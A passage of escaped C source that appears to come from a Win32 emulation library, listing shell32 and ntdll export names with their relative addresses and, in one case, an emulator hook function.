NULL, NULL},\n\t{\"ExtractIconExA\", 0x000B2AEE, NULL, NULL},\n\t{\"ExtractIconExW\", 0x00036CBF, NULL, NULL},\n\t{\"ExtractIconResInfoA\", 0x000B311F, NULL, NULL},\n\t{\"ExtractIconResInfoW\", 0x000B2C16, NULL, NULL},\n\t{\"ExtractIconW\", 0x00071896, NULL, NULL},\n\t{\"ExtractVersionResource16W\", 0x00069681, NULL, NULL},\n\t{\"FindExeDlgProc\", 0x0013890D, NULL, NULL},\n\t{\"FindExecutableA\", 0x0007FA54, NULL, NULL},\n\t{\"FindExecutableW\", 0x0007FAE6, NULL, NULL},\n\t{\"FreeIconList\", 0x000B2BB5, NULL, NULL},\n\t{\"InternalExtractIconListA\", 0x00062369, NULL, NULL},\n\t{\"InternalExtractIconListW\", 0x000B350B, NULL, NULL},\n\t{\"Options_RunDLL\", 0x0019C862, NULL, NULL},\n\t{\"PathIsSlowW\", 0x00031291, NULL, NULL},\n\t{\"PathIsSlowA\", 0x000B4C21, NULL, NULL},\n\t{\"SHTestTokenMembership\", 0x0004BF97, NULL, NULL},\n\t{\"Options_RunDLLA\", 0x0019C862, NULL, NULL},\n\t{\"SHCreateShellFolderView\", 0x0004086A, NULL, NULL},\n\t{\"Options_RunDLLW\", 0x0019C88E, NULL, NULL},\n\t{\"PrintersGetCommand_RunDLL\", 0x000B7440, NULL, NULL},\n\t{\"PrintersGetCommand_RunDLLA\", 0x000B7440, NULL, NULL},\n\t{\"PrintersGetCommand_RunDLLW\", 0x000B74C5, NULL, NULL},\n\t{\"RealShellExecuteA\", 0x000F5E02, NULL, NULL},\n\t{\"RealShellExecuteExA\", 0x000F5CB0, NULL, NULL},\n\t{\"RealShellExecuteExW\", 0x000F5D59, NULL, NULL},\n\t{\"RealShellExecuteW\", 0x000F5E35, NULL, NULL},\n\t{\"RegenerateUserEnvironment\", 0x000BD3B6, NULL, NULL},\n\t{\"SHAddToRecentDocs\", 0x0006FD7A, NULL, NULL},\n\t{\"SHAppBarMessage\", 0x0010410F, NULL, NULL},\n\t{\"SHBindToParent\", 0x00033D18, NULL, NULL},\n\t{\"SHBrowseForFolder\", 0x0010734B, NULL, NULL},\n\t{\"SHBrowseForFolderA\", 0x0010734B, NULL, NULL},\n\t{\"SHBrowseForFolderW\", 0x00107251, NULL, NULL},\n\t{\"SHChangeNotify\", 0x000383C9, NULL, NULL},\n\t{\"SHChangeNotifySuspendResume\", 0x000FB585, NULL, NULL},\n\t{\"SHCreateDirectoryExA\", 0x000AA990, NULL, NULL},\n\t{\"SHCreateDirectoryExW\", 0x00051C92, NULL, NULL},\n\t{\"SHCreateLocalServerRunDll\", 0x0019E7FA, NULL, NULL},\n\t{\"SHCreateProcessAsUserW\", 0x00109644, NULL, NULL},\n\t{\"SHCreateQueryCancelAutoPlayMoniker\", 0x00081FCE, NULL, NULL},\n\t{\"SHCreateShellItem\", 0x00102D66, NULL, NULL},\n\t{\"SHEmptyRecycleBinA\", 0x000A6D6B, NULL, NULL},\n\t{\"SHEmptyRecycleBinW\", 0x000A6D01, NULL, NULL},\n\t{\"SHEnableServiceObject\", 0x0010427F, NULL, NULL},\n\t{\"SHEnumerateUnreadMailAccountsW\", 0x000D26EA, NULL, NULL},\n\t{\"SHExtractIconsW\", 0x00045762, NULL, NULL},\n\t{\"SHFileOperation\", 0x000B0BCC, NULL, NULL},\n\t{\"SHFileOperationA\", 0x000B0BCC, NULL, NULL},\n\t{\"SHFileOperationW\", 0x000B08E4, NULL, NULL},\n\t{\"SHFormatDrive\", 0x000D84D5, NULL, NULL},\n\t{\"SHFreeNameMappings\", 0x000A9171, NULL, NULL},\n\t{\"SHGetDataFromIDListA\", 0x00102690, NULL, NULL},\n\t{\"SHGetDataFromIDListW\", 0x0006AB11, NULL, NULL},\n\t{\"SHGetDesktopFolder\", 0x0002BC18, NULL, NULL},\n\t{\"SHGetDiskFreeSpaceA\", 0x000B3850, NULL, NULL},\n\t{\"SHGetDiskFreeSpaceExA\", 0x000B3850, NULL, NULL},\n\t{\"SHGetDiskFreeSpaceExW\", 0x00039B81, NULL, NULL},\n\t{\"SHGetFileInfo\", 0x000715A9, NULL, NULL},\n\t{\"SHGetFileInfoA\", 0x000715A9, NULL, NULL},\n\t{\"SHGetFileInfoW\", 0x0006B04B, NULL, NULL},\n\t{\"SHGetFolderLocation\", 0x0002F711, NULL, NULL},\n\t{\"SHGetFolderPathA\", 0x0006AC69, NULL, NULL},\n\t{\"SHGetFolderPathAndSubDirA\", 0x000F9C9C, NULL, NULL},\n\t{\"SHGetFolderPathAndSubDirW\", 0x00051C10, NULL, NULL},\n\t{\"SHGetFolderPathW\", 0x0002F226, NULL, NULL},\n\t{\"SHGetIconOverlayIndexA\", 0x00113CA6, NULL, NULL},\n\t{\"SHGetIconOverlayIndexW\", 0x00113BCE, NULL, NULL},\n\t{\"SHGetInstanceExplorer\", 0x001042B6, NULL, NULL},\n\t{\"SHGetMalloc\", 0x0006B3ED, NULL, NULL},\n\t{\"SHGetNewLinkInfo\", 0x0010290F, NULL, NULL},\n\t{\"SHGetPathFromIDList\", 0x00074C89, NULL, NULL},\n\t{\"SHGetPathFromIDListA\", 0x00074C89, NULL, NULL},\n\t{\"SHGetPathFromIDListW\", 0x00031000, NULL, NULL},\n\t{\"SHGetSettings\", 0x0007FC05, NULL, NULL},\n\t{\"SHGetSpecialFolderLocation\", 0x0002F793, NULL, NULL},\n\t{\"SHGetSpecialFolderPathA\", 0x000F9C6E, env_hook_SHGetSpecialFolderPathA, NULL},\n\t{\"SHGetSpecialFolderPathW\", 0x0002B1D8, NULL, NULL},\n\t{\"SHGetUnreadMailCountW\", 0x000D4ED8, NULL, NULL},\n\t{\"SHHelpShortcuts_RunDLL\", 0x000B3A1F, NULL, NULL},\n\t{\"SHHelpShortcuts_RunDLLA\", 0x000B3A1F, NULL, NULL},\n\t{\"SHHelpShortcuts_RunDLLW\", 0x000B3A7A, NULL, NULL},\n\t{\"SHInvokePrinterCommandA\", 0x000B72B3, NULL, NULL},\n\t{\"SHInvokePrinterCommandW\", 0x000B727E, NULL, NULL},\n\t{\"SHIsFileAvailableOffline\", 0x000D2300, NULL, NULL},\n\t{\"SHLoadInProc\", 0x00104267, NULL, NULL},\n\t{\"SHLoadNonloadedIconOverlayIdentifiers\", 0x00116D97, NULL, NULL},\n\t{\"SHOpenFolderAndSelectItems\", 0x00102CCE, NULL, NULL},\n\t{\"SHParseDisplayName\", 0x0002E020, NULL, NULL},\n\t{\"SHPathPrepareForWriteA\", 0x000D4BBC, NULL, NULL},\n\t{\"SHPathPrepareForWriteW\", 0x000809F2, NULL, NULL},\n\t{\"SHQueryRecycleBinA\", 0x000A6A02, NULL, NULL},\n\t{\"SHQueryRecycleBinW\", 0x000A6970, NULL, NULL},\n\t{\"SHSetLocalizedName\", 0x0006808C, NULL, NULL},\n\t{\"SHSetUnreadMailCountW\", 0x000D50EC, NULL, NULL},\n\t{\"SHUpdateRecycleBinIcon\", 0x00052728, NULL, NULL},\n\t{\"SheChangeDirA\", 0x000BBCAA, NULL, NULL},\n\t{\"SheChangeDirExA\", 0x000BC265, NULL, NULL},\n\t{\"SheChangeDirExW\", 0x000BBFE1, NULL, NULL},\n\t{\"SheChangeDirW\", 0x000BBAC6, NULL, NULL},\n\t{\"SheConvertPathW\", 0x000CC6AE, NULL, NULL},\n\t{\"SheFullPathA\", 0x000BBD7A, NULL, NULL},\n\t{\"SheFullPathW\", 0x000BBE2C, NULL, NULL},\n\t{\"SheGetCurDrive\", 0x000BBD03, NULL, NULL},\n\t{\"SheGetDirA\", 0x000BBA5C, NULL, NULL},\n\t{\"SheGetDirExW\", 0x000BBEE4, NULL, NULL},\n\t{\"SheGetDirW\", 0x000BB9BA, NULL, NULL},\n\t{\"SheGetPathOffsetW\", 0x000BB940, NULL, NULL},\n\t{\"SheRemoveQuotesA\", 0x000CC08F, NULL, NULL},\n\t{\"SheRemoveQuotesW\", 0x000CC053, NULL, NULL},\n\t{\"SheSetCurDrive\", 0x000BBD29, NULL, NULL},\n\t{\"SheShortenPathA\", 0x000CC2F9, NULL, NULL},\n\t{\"SheShortenPathW\", 0x000CC146, NULL, NULL},\n\t{\"ShellAboutA\", 0x000A2F5E, NULL, NULL},\n\t{\"ShellAboutW\", 0x000A2F0F, NULL, NULL},\n\t{\"ShellExec_RunDLL\", 0x00108A1E, NULL, NULL},\n\t{\"ShellExec_RunDLLA\", 0x00108A1E, NULL, NULL},\n\t{\"ShellExec_RunDLLW\", 0x00108A84, NULL, NULL},\n\t{\"ShellExecuteA\", 0x000811A8, NULL, NULL},\n\t{\"ShellExecuteEx\", 0x00080E7D, NULL, NULL},\n\t{\"ShellExecuteExA\", 0x00080E7D, NULL, NULL},\n\t{\"ShellExecuteExW\", 0x0004991B, NULL, NULL},\n\t{\"ShellExecuteW\", 0x000F5E68, NULL, NULL},\n\t{\"ShellHookProc\", 0x00062369, NULL, NULL},\n\t{\"Shell_NotifyIcon\", 0x00068C16, NULL, NULL},\n\t{\"Shell_NotifyIconA\", 0x00068C16, NULL, NULL},\n\t{\"Shell_NotifyIconW\", 0x0006A587, NULL, NULL},\n\t{\"StrChrA\", 0x001DCD45, NULL, NULL},\n\t{\"StrChrIA\", 0x001DCD50, NULL, NULL},\n\t{\"StrChrIW\", 0x001DCD5B, NULL, NULL},\n\t{\"StrChrW\", 0x001DCD66, NULL, NULL},\n\t{\"StrCmpNA\", 0x001DCD71, NULL, NULL},\n\t{\"StrCmpNIA\", 0x001DCD7C, NULL, NULL},\n\t{\"StrCmpNIW\", 0x001DCD87, NULL, NULL},\n\t{\"StrCmpNW\", 0x001DCD92, NULL, NULL},\n\t{\"StrCpyNA\", 0x000BB557, NULL, NULL},\n\t{\"StrCpyNW\", 0x000BB516, NULL, NULL},\n\t{\"StrNCmpA\", 0x000BB619, NULL, NULL},\n\t{\"StrNCmpIA\", 0x000BB6FE, NULL, NULL},\n\t{\"StrNCmpIW\", 0x000BB691, NULL, NULL},\n\t{\"StrNCmpW\", 0x000BB593, NULL, NULL},\n\t{\"StrNCpyA\", 0x000BB7C1, NULL, NULL},\n\t{\"StrNCpyW\", 0x000BB776, NULL, NULL},\n\t{\"StrRChrA\", 0x001DCD9D, NULL, NULL},\n\t{\"StrRChrIA\", 0x001DCDA8, NULL, NULL},\n\t{\"StrRChrIW\", 0x001DCDB3, NULL, NULL},\n\t{\"StrRChrW\", 0x001DCDBE, NULL, NULL},\n\t{\"StrRStrA\", 0x000BB87E, NULL, NULL},\n\t{\"StrRStrIA\", 0x001DCDC9, NULL, NULL},\n\t{\"StrRStrIW\", 0x001DCDD4, NULL, NULL},\n\t{\"StrRStrW\", 0x000BB811, NULL, NULL},\n\t{\"StrStrA\", 0x001DCDDF, NULL, NULL},\n\t{\"StrStrIA\", 0x001DCDEA, NULL, NULL},\n\t{\"StrStrIW\", 0x000711BF, NULL, NULL},\n\t{\"StrStrW\", 0x001DCDF5, NULL, NULL},\n\t{\"WOWShellExecute\", 0x00108888, NULL, NULL},\n\t{\"SHAllocShared\", 0x0002A59E, NULL, NULL},\n\t{\"SHLockShared\", 0x0002A5C9, NULL, NULL},\n\t{\"SHUnlockShared\", 0x0002A5DE, NULL, NULL},\n\t{\"SHFreeShared\", 0x0002A5B4, NULL, NULL},\n\t{\"RealDriveType\", 0x00030E72, NULL, NULL},\n\t{\"SHFlushSFCache\", 0x000681BE, NULL, NULL},\n\t{\"SHChangeNotification_Lock\", 0x00069325, NULL, NULL},\n\t{\"SHChangeNotification_Unlock\", 0x00037ED0, NULL, NULL},\n\t{\"WriteCabinetState\", 0x000A71AF, NULL, NULL},\n\t{\"PathProcessCommand\", 0x00054ED3, NULL, NULL},\n\t{\"ReadCabinetState\", 0x0007482C, NULL, NULL},\n\t{\"IsUserAnAdmin\", 0x000545A3, NULL, NULL},\n\t{\"SHPropStgCreate\", 0x00114816, NULL, NULL},\n\t{\"SHPropStgReadMultiple\", 0x00077AB9, NULL, NULL},\n\t{\"SHPropStgWriteMultiple\", 0x00115476, NULL, NULL},\n\t{\"CDefFolderMenu_Create\", 0x000DA34E, NULL, NULL},\n\t{\"CDefFolderMenu_Create2\", 0x000DA3ED, NULL, NULL},\n\t{\"SHGetSetFolderCustomSettingsW\", 0x0006460D, NULL, NULL},\n\t{\"SHMultiFileProperties\", 0x001165F0, NULL, NULL},\n\t{\"SHGetImageList\", 0x00046941, NULL, NULL},\n\t{\"RestartDialogEx\", 0x000B8465, NULL, NULL},\n\t{\"SHCreateFileExtractIconW\", 0x00102ED2, NULL, NULL},\n\t{\"SHLimitInputEdit\", 0x0011614A, NULL, NULL},\n\t{\"SHGetShellStyleHInstance\", 0x000D5574, NULL, NULL},\n\t{\"SHGetAttributesFromDataObject\", 0x000D2B61, NULL, NULL},\n\t{0,0,NULL},\n};\n\nstruct emu_env_w32_dll_export ntdll_exports[] = \n{\n\t{\"PropertyLengthAsVariant\", 0x00059D2B, NULL, NULL},\n\t{\"RtlConvertPropertyToVariant\", 0x00059C93, NULL, NULL},\n\t{\"RtlConvertVariantToProperty\", 0x00059BF5, NULL, NULL},\n\t{\"RtlInterlockedPushListSList\", 0x00002AD0, NULL, NULL},\n\t{\"RtlUlongByteSwap\", 0x00002B30, NULL, NULL},\n\t{\"RtlUlonglongByteSwap\", 0x00002B40, NULL, NULL},\n\t{\"RtlUshortByteSwap\", 0x00002B20, NULL, NULL},\n\t{\"CsrAllocateCaptureBuffer\", 0x0001EB78, NULL, NULL},\n\t{\"CsrAllocateMessagePointer\", 0x0001EBD9, NULL, NULL},\n\t{\"CsrCaptureMessageBuffer\", 0x0001E3CF, NULL, NULL},\n\t{\"CsrCaptureMessageMultiUnicodeStringsInPlace\", 0x0002064D, NULL, NULL},\n\t{\"CsrCaptureMessageString\", 0x0002070E, NULL, NULL},\n\t{\"CsrCaptureTimeout\", 0x00051C6A, NULL, NULL},\n\t{\"CsrClientCallServer\", 0x00012D91, NULL, NULL},\n\t{\"CsrClientConnectToServer\", 0x00021207, NULL, NULL},\n\t{\"CsrFreeCaptureBuffer\", 0x0001EB1F, NULL, NULL},\n\t{\"CsrGetProcessId\", 0x00051C5F, NULL, NULL},\n\t{\"CsrIdentifyAlertableThread\", 0x00051BDA, NULL, NULL},\n\t{\"CsrNewThread\", 0x0001B0AA, NULL, NULL},\n\t{\"CsrProbeForRead\", 0x00051CEB, NULL, NULL},\n\t{\"CsrProbeForWrite\", 0x00051C9D, NULL, NULL},\n\t{\"CsrSetPriorityClass\", 0x00051C16, NULL, NULL},\n\t{\"DbgBreakPoint\", 0x0000120E, NULL, NULL},\n\t{\"DbgPrint\", 0x0002FB6F, NULL, NULL},\n\t{\"DbgPrintEx\", 0x0001EAF5, NULL, NULL},\n\t{\"DbgPrintReturnControlC\", 0x00059EB2, NULL, NULL},\n\t{\"DbgPrompt\", 0x00059FA1, NULL, NULL},\n\t{\"DbgQueryDebugFilterState\", 0x00059FE7, NULL, NULL},\n\t{\"DbgSetDebugFilterState\", 0x00059FF7, NULL, NULL},\n\t{\"DbgUiConnectToDbg\", 0x00051D21, NULL, NULL},\n\t{\"DbgUiContinue\", 0x00051DCC, NULL, NULL},\n\t{\"DbgUiConvertStateChangeStructure\", 0x00051EF4, NULL, NULL},\n\t{\"DbgUiDebugActiveProcess\", 0x00051EB2, NULL, NULL},\n\t{\"DbgUiGetThreadDebugObject\", 0x00051D76, NULL, NULL},\n\t{\"DbgUiIssueRemoteBreakin\", 0x00051E71, NULL, NULL},\n\t{\"DbgUiRemoteBreakin\", 0x00051E13, NULL, NULL},\n\t{\"DbgUiSetThreadDebugObject\", 0x00051D88, NULL, NULL},\n\t{\"DbgUiStopDebugging\", 0x00051DF1, NULL, NULL},\n\t{\"DbgUiWaitStateChange\", 0x00051DA5, NULL, NULL},\n\t{\"DbgUserBreakPoint\", 0x00001212, NULL, NULL},\n\t{\"KiFastSystemCall\", 0x0000E510, NULL, NULL},\n\t{\"KiFastSystemCallRet\", 0x0000E514, NULL, NULL},\n\t{\"KiIntSystemCall\", 0x0000E520, NULL, NULL},\n\t{\"KiRaiseUserExceptionDispatcher\", 0x0000E4C8, NULL, NULL},\n\t{\"KiUserApcDispatcher\", 0x0000E450, NULL, NULL},\n\t{\"KiUserCallbackDispatcher\", 0x0000E460, NULL, NULL},\n\t{\"KiUserExceptionDispatcher\", 0x0000E47C, NULL, NULL},\n\t{\"LdrAccessOutOfProcessResource\", 0x000209B8, NULL, NULL},\n\t{\"LdrAccessResource\", 0x000127A8, NULL, NULL},\n\t{\"LdrAddRefDll\", 0x0002CB05, NULL, NULL},\n\t{\"LdrAlternateResourcesEnabled\", 0x0004888F, NULL, NULL},\n\t{\"LdrCreateOutOfProcessImage\", 0x000201C3, NULL, NULL},\n\t{\"LdrDestroyOutOfProcessImage\", 0x000202DD, NULL, NULL},\n\t{\"LdrDisableThreadCalloutsForDll\", 0x0001D6FB, NULL, NULL},\n\t{\"LdrEnumResources\", 0x0005A110, NULL, NULL},\n\t{\"LdrEnumerateLoadedModules\", 0x00021405, NULL, NULL},\n\t{\"LdrFindCreateProcessManifest\", 0x0001FE25, NULL, NULL},\n\t{\"LdrFindEntryForAddress\", 0x0005A07B, NULL, NULL},\n\t{\"LdrFindResourceDirectory_U\", 0x0001C26D, NULL, NULL},\n\t{\"LdrFindResourceEx_U\", 0x0005AE3E, NULL, NULL},\n\t{\"LdrFindResource_U\", 0x00012787, NULL, NULL},\n\t{\"LdrFlushAlternateResourceModules\", 0x0002ED52, NULL, NULL},\n\t{\"LdrGetDllHandle\", 0x000166A0, NULL, NULL},\n\t{\"LdrGetDllHandleEx\", 0x000166C1, NULL, NULL},\n\t{\"LdrGetProcedureAddress\", 0x00017EA8, NULL, NULL},\n\t{\"LdrHotPatchRoutine\", 0x000521DE, NULL, NULL},\n\t{\"LdrInitShimEngineDynamic\", 0x00052CC2, NULL, NULL},\n\t{\"LdrInitializeThunk\", 0x00001166, NULL, NULL},\n\t{\"LdrLoadAlternateResourceModule\", 0x00012808, NULL, NULL},\n\t{\"LdrLoadDll\", 0x000163C3, NULL, NULL},\n\t{\"LdrLockLoaderLock\", 0x00012C63, NULL, NULL},\n\t{\"LdrProcessRelocationBlock\", 0x0005B52C, NULL, NULL},\n\t{\"LdrQueryImageFileExecutionOptions\", 0x0001CCA3, NULL, NULL},\n\t{\"LdrQueryProcessModuleInformation\", 0x00052A31, NULL, NULL},\n\t{\"LdrSetAppCompatDllRedirectionCallback\", 0x00052A51, NULL, NULL},\n\t{\"LdrSetDllManifestProber\", 0x0002221F, NULL, NULL},\n\t{\"LdrShutdownProcess\", 0x00023BD8, NULL, NULL},\n\t{\"LdrShutdownThread\", 0x00013956, NULL, NULL},\n\t{\"LdrUnloadAlternateResourceModule\", 0x00019951, NULL, NULL},\n\t{\"LdrUnloadDll\", 0x0001738B, NULL, NULL},\n\t{\"LdrUnlockLoaderLock\", 0x00012D19, NULL, NULL},\n\t{\"LdrVerifyImageMatchesChecksum\", 0x00030A3C, NULL, NULL},\n\t{\"NlsAnsiCodePage\", 0x0007E098, NULL, NULL},\n\t{\"NlsMbCodePageTag\", 0x0007E0A0, NULL, NULL},\n\t{\"NlsMbOemCodePageTag\", 0x0007E0A8, NULL, NULL},\n\t{\"NtAcceptConnectPort\", 0x0000CE5E, NULL, NULL},\n\t{\"NtAccessCheck\", 0x0000CE6E, NULL, NULL},\n\t{\"NtAccessCheckAndAuditAlarm\", 0x0000CE7E, NULL, NULL},\n\t{\"NtAccessCheckByType\", 0x0000CE8E, NULL, NULL},\n\t{\"NtAccessCheckByTypeAndAuditAlarm\", 0x0000CE9E, NULL, NULL},\n\t{\"NtAccessCheckByTypeResultList\", 0x0000CEAE, NULL, NULL},\n\t{\"NtAccessCheckByTypeResultListAndAuditAlarm\", 0x0000CEBE, NULL, NULL},\n\t{\"NtAccessCheckByTypeResultListAndAuditAlarmByHandle\", 0x0000CECE, NULL, NULL},\n\t{\"NtAddAtom\", 0x0000CEDE, NULL, NULL},\n\t{\"NtAddBootEntry\", 0x0000CEEE, NULL, NULL},\n\t{\"NtAdjustGroupsToken\", 0x0000CEFE, NULL, NULL},\n\t{\"NtAdjustPrivilegesToken\", 0x0000CF0E, NULL, NULL},\n\t{\"NtAlertResumeThread\", 0x0000CF1E, NULL, NULL},\n\t{\"NtAlertThread\", 0x0000CF2E, NULL, NULL},\n\t{\"NtAllocateLocallyUniqueId\", 0x0000CF3E, NULL, NULL},\n\t{\"NtAllocateUserPhysicalPages\", 0x0000CF4E, NULL, NULL},\n\t{\"NtAllocateUuids\", 0x0000CF5E, NULL, NULL},\n\t{\"NtAllocateVirtualMemory\", 0x0000CF6E, NULL, NULL},\n\t{\"NtAreMappedFilesTheSame\", 0x0000CF7E, NULL, NULL},\n\t{\"NtAssignProcessToJobObject\", 0x0000CF8E, NULL, NULL},\n\t{\"NtCallbackReturn\", 0x0000CF9E, NULL, NULL},\n\t{\"NtCancelDeviceWakeupRequest\", 0x0000CFAE, NULL, NULL},\n\t{\"NtCancelIoFile\", 0x0000CFBE, NULL, NULL},\n\t{\"NtCancelTimer\", 0x0000CFCE, NULL, NULL},\n\t{\"NtClearEvent\", 0x0000CFDE, NULL, NULL},\n\t{\"NtClose\", 0x0000CFEE, NULL, NULL},\n\t{\"NtCloseObjectAuditAlarm\", 0x0000CFFE, NULL, NULL},\n\t{\"NtCompactKeys\", 0x0000D00E, NULL, NULL},\n\t{\"NtCompareTokens\", 0x0000D01E, NULL, NULL},\n\t{\"NtCompleteConnectPort\", 0x0000D02E, NULL, NULL},\n\t{\"NtCompressKey\", 0x0000D03E, NULL, NULL},\n\t{\"NtConnectPort\", 0x0000D04E, NULL, NULL},\n\t{\"NtContinue\", 0x0000D05E, NULL, NULL},\n\t{\"NtCreateDebugObject\", 0x0000D06E, NULL, NULL},\n\t{\"NtCreateDirectoryObject\", 0x0000D07E, NULL, NULL},\n\t{\"NtCreateEvent\", 0x0000D08E, NULL, NULL},\n\t{\"NtCreateEventPair\", 0x0000D09E, NULL, NULL},\n\t{\"NtCreateFile\", 0x0000D0AE, NULL, NULL},\n\t{\"NtCreateIoCompletion\", 0x0000D0BE, NULL, NULL},\n\t{\"NtCreateJobObject\", 0x0000D0CE, NULL, NULL},\n\t{\"NtCreateJobSet\", 0x0000D0DE, NULL, NULL},\n\t{\"NtCreateKey\", 0x0000D0EE, NULL, NULL},\n\t{\"NtCreateKeyedEvent\", 0x0000DFCE, NULL, NULL},\n\t{\"NtCreateMailslotFile\", 0x0000D0FE, NULL, NULL},\n\t{\"NtCreateMutant\", 0x0000D10E, NULL, NULL},\n\t{\"NtCreateNamedPipeFile\", 0x0000D11E, NULL, NULL},\n\t{\"NtCreatePagingFile\", 0x0000D12E, NULL, NULL},\n\t{\"NtCreatePort\", 0x0000D13E, NULL, NULL},\n\t{\"NtCreateProcess\", 0x0000D14E, NULL, NULL},\n\t{\"NtCreateProcessEx\", 0x0000D15E, NULL, NULL},\n\t{\"NtCreateProfile\", 0x0000D16E, NULL, NULL},\n\t{\"NtCreateSection\", 0x0000D17E, NULL, NULL},\n\t{\"NtCreateSemaphore\", 0x0000D18E, NULL, NULL},\n\t{\"NtCreateSymbolicLinkObject\", 0x0000D19E, NULL, NULL},\n\t{\"NtCreateThread\", 0x0000D1AE, NULL, NULL},\n\t{\"NtCreateTimer\", 0x0000D1BE, NULL, NULL},\n\t{\"NtCreateToken\", 0x0000D1CE, NULL, NULL},\n\t{\"NtCreateWaitablePort\", 0x0000D1DE, NULL, NULL},\n\t{\"NtCurrentTeb\", 0x0000121E, NULL, NULL},\n\t{\"NtDebugActiveProcess\", 0x0000D1EE, NULL, NULL},\n\t{\"NtDebugContinue\", 0x0000D1FE, NULL, NULL},\n\t{\"NtDelayExecution\", 0x0000D20E, NULL, NULL},\n\t{\"NtDeleteAtom\", 0x0000D21E, NULL, NULL},\n\t{\"NtDeleteBootEntry\", 0x0000D22E, NULL, NULL},\n\t{\"NtDeleteFile\", 0x0000D23E, NULL, NULL},\n\t{\"NtDeleteKey\", 0x0000D24E, NULL, NULL},\n\t{\"NtDeleteObjectAuditAlarm\", 0x0000D25E, NULL, NULL},\n\t{\"NtDeleteValueKey\", 0x0000D26E, NULL, NULL},\n\t{\"NtDeviceIoControlFile\", 0x0000D27E, NULL, NULL},\n\t{\"NtDisplayString\", 0x0000D28E, NULL, NULL},\n\t{\"NtDuplicateObject\", 0x0000D29E, NULL, NULL},\n\t{\"NtDuplicateToken\", 0x0000D2AE, NULL, NULL},\n\t{\"NtEnumerateBootEntries\", 0x0000D2BE, NULL, NULL},\n\t{\"NtEnumerateKey\", 0x0000D2CE, NULL, NULL},\n\t{\"NtEnumerateSystemEnvironmentValuesEx\", 0x0000D2DE, NULL, NULL},\n\t{\"NtEnumerateValueKey\", 0x0000D2EE, NULL, NULL},\n\t{\"NtExtendSection\", 0x0000D2FE, NULL, NULL},\n\t{\"NtFilterToken\", 0x0000D30E, NULL, NULL},\n\t{\"NtFindAtom\", 0x0000D31E, NULL, NULL},\n\t{\"NtFlushBuffersFile\", 0x0000D32E, NULL, NULL},\n\t{\"NtFlushInstructionCache\", 0x0000D33E, NULL, NULL},\n\t{\"NtFlushKey\", 0x0000D34E, NULL, NULL},\n\t{\"NtFlushVirtualMemory\", 0x0000D35E, NULL, NULL},\n\t{\"NtFlushWriteBuffer\", 0x0000D36E, NULL, NULL},\n\t{\"NtFreeUserPhysicalPages\", 0x0000D37E, NULL, NULL},\n\t{\"NtFreeVirtualMemory\", 0x0000D38E, NULL, NULL},\n\t{\"NtFsControlFile\", 0x0000D39E, NULL, NULL},\n\t{\"NtGetContextThread\", 0x0000D3AE, NULL, NULL},\n\t{\"NtGetDevicePowerState\", 0x0000D3BE, NULL, NULL},\n\t{\"NtGetPlugPlayEvent\", 0x0000D3CE, NULL, NULL},\n\t{\"NtGetWriteWatch\", 0x0000D3DE, NULL, NULL},\n\t{\"NtImpersonateAnonymousToken\", 0x0000D3EE, NULL, NULL},\n\t{\"NtImpersonateClientOfPort\", 0x0000D3FE, NULL, NULL},\n\t{\"NtImpersonateThread\", 0x0000D40E, NULL, NULL},\n\t{\"NtInitializeRegistry\", 0x0000D41E, NULL, NULL},\n\t{\"NtInitiatePowerAction\", 0x0000D42E, NULL, NULL},\n\t{\"NtIsProcessInJob\", 0x0000D43E, NULL, NULL},\n\t{\"NtIsSystemResumeAutomatic\", 0x0000D44E, NULL, NULL},\n\t{\"NtListenPort\", 0x0000D45E, NULL, NULL},\n\t{\"NtLoadDriver\", 0x0000D46E, NULL, NULL},\n\t{\"NtLoadKey2\", 0x0000D48E, NULL, NULL},\n\t{\"NtLoadKey\", 0x0000D47E, NULL, NULL},\n\t{\"NtLockFile\", 0x0000D49E, NULL, NULL},\n\t{\"NtLockProductActivationKeys\", 0x0000D4AE, NULL, NULL},\n\t{\"NtLockRegistryKey\", 0x0000D4BE, NULL, NULL},\n\t{\"NtLockVirtualMemory\", 0x0000D4CE, NULL, NULL},\n\t{\"NtMakePermanentObject\", 0x0000D4DE, NULL, NULL},\n\t{\"NtMakeTemporaryObject\", 0x0000D4EE, NULL, NULL},\n\t{\"NtMapUserPhysicalPages\", 0x0000D4FE, NULL, NULL},\n\t{\"NtMapUserPhysicalPagesScatter\", 0x0000D50E, NULL, NULL},\n\t{\"NtMapViewOfSection\", 0x0000D51E, NULL, NULL},\n\t{\"NtModifyBootEntry\", 0x0000D52E, NULL, NULL},\n\t{\"NtNotifyChangeDirectoryFile\", 0x0000D53E, NULL, NULL},\n\t{\"NtNotifyChangeKey\", 0x0000D54E, NULL, NULL},\n\t{\"NtNotifyChangeMultipleKeys\", 0x0000D55E, NULL, NULL},\n\t{\"NtOpenDirectoryObject\", 0x0000D56E, NULL, NULL},\n\t{\"NtOpenEvent\", 0x0000D57E, NULL, NULL},\n\t{\"NtOpenEventPair\", 0x0000D58E, NULL, NULL},\n\t{\"NtOpenFile\", 0x0000D59E, NULL, NULL},\n\t{\"NtOpenIoCompletion\", 0x0000D5AE, NULL, NULL},\n\t{\"NtOpenJobObject\", 0x0000D5BE, NULL, NULL},\n\t{\"NtOpenKey\", 0x0000D5CE, NULL, NULL},\n\t{\"NtOpenKeyedEvent\", 0x0000DFDE, NULL, NULL},\n\t{\"NtOpenMutant\", 0x0000D5DE, NULL, NULL},\n\t{\"NtOpenObjectAuditAlarm\", 0x0000D5EE, NULL, NULL},\n\t{\"NtOpenProcess\", 0x0000D5FE, NULL, NULL},\n\t{\"NtOpenProcessToken\", 0x0000D60E, NULL, NULL},\n\t{\"NtOpenProcessTokenEx\", 0x0000D61E, NULL, NULL},\n\t{\"NtOpenSection\", 0x0000D62E, NULL, NULL},\n\t{\"NtOpenSemaphore\", 0x0000D63E, NULL, NULL},\n\t{\"NtOpenSymbolicLinkObject\", 0x0000D64E, NULL, NULL},\n\t{\"NtOpenThread\", 0x0000D65E, NULL, NULL},\n\t{\"NtOpenThreadToken\", 0x0000D66E, NULL, NULL},\n\t{\"NtOpenThreadTokenEx\", 0x0000D67E, NULL, NULL},\n\t{\"NtOpenTimer\", 0x0000D68E, NULL, NULL},\n\t{\"NtPlugPlayControl\", 0x0000D69E, NULL, NULL},\n\t{\"NtPowerInformation\", 0x0000D6AE, NULL, NULL},\n\t{\"NtPrivilegeCheck\", 0x0000D6BE, NULL, NULL},\n\t{\"NtPrivilegeObjectAuditAlarm\", 0x0000D6CE, NULL, NULL},\n\t{\"NtPrivilegedServiceAuditAlarm\", 0x0000D6DE, NULL, NULL},\n\t{\"NtProtectVirtualMemory\", 0x0000D6EE, NULL, NULL},\n\t{\"NtPulseEvent\", 0x0000D6FE, NULL, 